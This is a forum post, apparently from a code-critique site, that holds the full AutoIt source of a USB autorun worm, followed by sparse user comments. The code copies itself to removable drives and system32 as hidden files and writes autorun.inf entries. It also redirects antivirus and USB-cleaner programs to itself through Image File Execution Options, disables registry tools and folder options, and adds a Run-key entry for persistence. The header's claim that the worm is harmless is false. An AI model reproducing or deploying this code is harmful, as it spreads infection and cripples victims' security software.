- 001
- 002
- 003
- 004
- 005
- 006
- 007
- 008
- 009
- 010
- 011
- 012
- 013
- 014
- 015
- 016
- 017
- 018
- 019
- 020
- 021
- 022
- 023
- 024
- 025
- 026
- 027
- 028
- 029
- 030
- 031
- 032
- 033
- 034
- 035
- 036
- 037
- 038
- 039
- 040
- 041
- 042
- 043
- 044
- 045
- 046
- 047
- 048
- 049
- 050
- 051
- 052
- 053
- 054
- 055
- 056
- 057
- 058
- 059
- 060
- 061
- 062
- 063
- 064
- 065
- 066
- 067
- 068
- 069
- 070
- 071
- 072
- 073
- 074
- 075
- 076
- 077
- 078
- 079
- 080
- 081
- 082
- 083
- 084
- 085
- 086
- 087
- 088
- 089
- 090
- 091
- 092
- 093
- 094
- 095
- 096
- 097
- 098
- 099
- 100
;Autorun-червь на Autoit. Инфицирует сменные и локальные диски. Не вредоносный.
;Только для просмотра. Автор топика не несет ответственности за Ваши действия.
AutoItSetOption("TrayIconHide", 1)
Func AUTORUN_INF()
If FileExists($VAR[$I] & "\autorun.inf") Then
$FILE = FileOpen($VAR[$I] & "\autorun.inf", 0)
$STR = FileReadLine($FILE, 2)
FileClose($FILE)
If $STR <> ("open=System_Cache\locale.exe") Then
FileSetAttrib($VAR[$I] & "\autorun.inf", "-HSR+A")
$AUT = FileOpen($VAR[$I] & "\autorun.inf", 10)
FileWrite($AUT, "[autorun]" & @CRLF)
FileWrite($AUT, "open=System_Cache\locale.exe" & @CRLF)
FileWrite($AUT, "shell\open=0B:@KBL(&O)" & @CRLF)
FileWrite($AUT, "shell\open\Command=System_Cache\locale.exe" & @CRLF)
FileWrite($AUT, "shell\open\Default=1" & @CRLF)
FileWrite($AUT, "shell\explore=@>2>4=8:" & @CRLF)
FileWrite($AUT, "shell\explore\Command=System_Cache\locale.exe")
FileClose($AUT)
FileSetAttrib($VAR[$I] & "\autorun.inf", "+HSR")
Else
EndIf
Else
$FILE = FileOpen($VAR[$I] & "\autorun.inf", 10)
FileSetAttrib($VAR[$I] & "\autorun.inf", "+HSR")
FileWrite($FILE, "[autorun]" & @CRLF)
FileWrite($FILE, "open=System_Cache\locale.exe" & @CRLF)
FileWrite($FILE, "shell\open=0B:@KBL(&O)" & @CRLF)
FileWrite($FILE, "shell\open\Command=System_Cache\locale.exe" & @CRLF)
FileWrite($FILE, "shell\open\Default=1" & @CRLF)
FileWrite($FILE, "shell\explore=@>2>4=8:" & @CRLF)
FileWrite($FILE, "shell\explore\Command=System_Cache\locale.exe")
FileClose($FILE)
FileSetAttrib($VAR[$I] & "\autorun.inf", "+HSR")
EndIf
EndFunc
$H = 1
$START = @AutoItExe
If $START <> (@SystemDir & "\locale.exe") Then
$DRIVE = StringMid($START, 1, 3)
$VAL = ShellExecute($DRIVE)
Else
EndIf
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavMon.exe", "Debugger", "REG_SZ", @SystemDir & "\locale.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrojanDetector.exe", "Debugger", "REG_SZ", @SystemDir & "\locale.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\anti_autorun.exe", "Debugger", "REG_SZ", @SystemDir & "\locale.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBCleaner.exe", "Debugger", "REG_SZ", @SystemDir & "\locale.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AvMonitor.exe", "Debugger", "REG_SZ", @SystemDir & "\locale.exe")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system", "DisableRegistryTools", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "REG_DWORD", "2")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions", "REG_DWORD", "1")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "AtiMonitor", "REG_SZ", @SystemDir & "\locale.exe")
If ProcessExists("sirwnmi.exe") And ("sudlces.exe") Then
ProcessClose("sirwnmi.exe")
ProcessClose("sudlces.exe")
If FileExists(@CommonFilesDir & "\System\" & "sudlces.exe") Then
FileSetAttrib(@CommonFilesDir & "\System\" & "sudlces.exe", "-HSR+A")
FileDelete(@CommonFilesDir & "\System\" & "sudlces.exe")
EndIf
If FileExists(@CommonFilesDir & "\Microsoft Shared\" & "sirwnmi.exe") Then
FileSetAttrib(@CommonFilesDir & "\Microsoft Shared\" & "sirwnmi.exe", "-HSR+A")
FileDelete(@CommonFilesDir & "\Microsoft Shared\" & "sirwnmi.exe")
EndIf
EndIf
If FileExists(@SystemDir & "\avpo.exe") Then
FileSetAttrib(@SystemDir & "\avpo.exe", "-HSR+A")
FileDelete(@SystemDir & "\avpo.exe")
EndIf
If FileExists(@SystemDir & "\amvo.exe") Then
FileSetAttrib(@SystemDir & "\amvo.exe", "-HSR+A")
FileDelete(@SystemDir & "\amvo.exe")
EndIf
If ProcessExists("locale.exe") Then
$X = 0
$LIST = ProcessList("locale.exe")
For $I = 1 To $LIST[0][0]
$X = $X + 1
Next
If $X > 1 Then
Exit
EndIf
EndIf
While $H = 1
$VAR = DriveGetDrive("REMOVABLE")
If Not @error Then
For $I = 1 To $VAR[0]
If $VAR[$I] <> "A:" Then
$PUT = @AutoItExe
FileCopy($PUT, $VAR[$I] & "\System_Cache\locale.exe", 8)
FileSetAttrib($VAR[$I] & "\System_Cache", "+HSR", 1)
FileCopy($PUT, "C:\windows\system32\ntfsours.exe", 8)
FileCopy($PUT, "C:\windows\system32\locale.exe", 8)
FileSetAttrib("C:\windows\system32\ntfsours.exe", "+HSR")
FileSetAttrib("C:\windows\system32\locale.exe", "+HSR")
AUTORUN_INF()
Else
EndIf
fajes_rown 15.07.2016 22:44 # −2
fajes_rown 15.07.2016 22:44 # −2
fajes_rown 15.07.2016 22:47 # 0
Soul_re@ver 15.07.2016 23:06 # +3
Sim_salapim 15.07.2016 23:45 # +3
If FileExists($VAR[$I] & "\autorun.inf") Then
Очень странно. $var упоминается только на строке #087, и то как обычная локальная переменная, здесь же используется как неявный аргумент. Как это возможно?
fajes_rown 17.07.2016 01:16 # 0
Достал из декомпилированного червя.
CTEPTOP 30.08.2016 20:00 # 0
В VBS то же самое.
Это вовсе не обращение из одного метода к локальной переменной другого.
guest 16.07.2016 01:26 # 0
CTEPTOP 30.08.2016 20:02 # 0
void_main 30.08.2016 20:19 # 0
1024-- 30.08.2016 20:29 # 0
guest 30.08.2016 20:32 # 0
guest 16.07.2016 06:26 # 0
bormand 16.07.2016 07:50 # 0
guest 16.07.2016 07:58 # 0
bormand 16.07.2016 08:33 # +2
guest 16.07.2016 10:35 # 0
guest 16.07.2016 11:22 # +1
Сына?
3_14dar 16.07.2016 23:47 # 0
3_dar 17.07.2016 00:06 # 0
fajes_rown 17.07.2016 01:15 # 0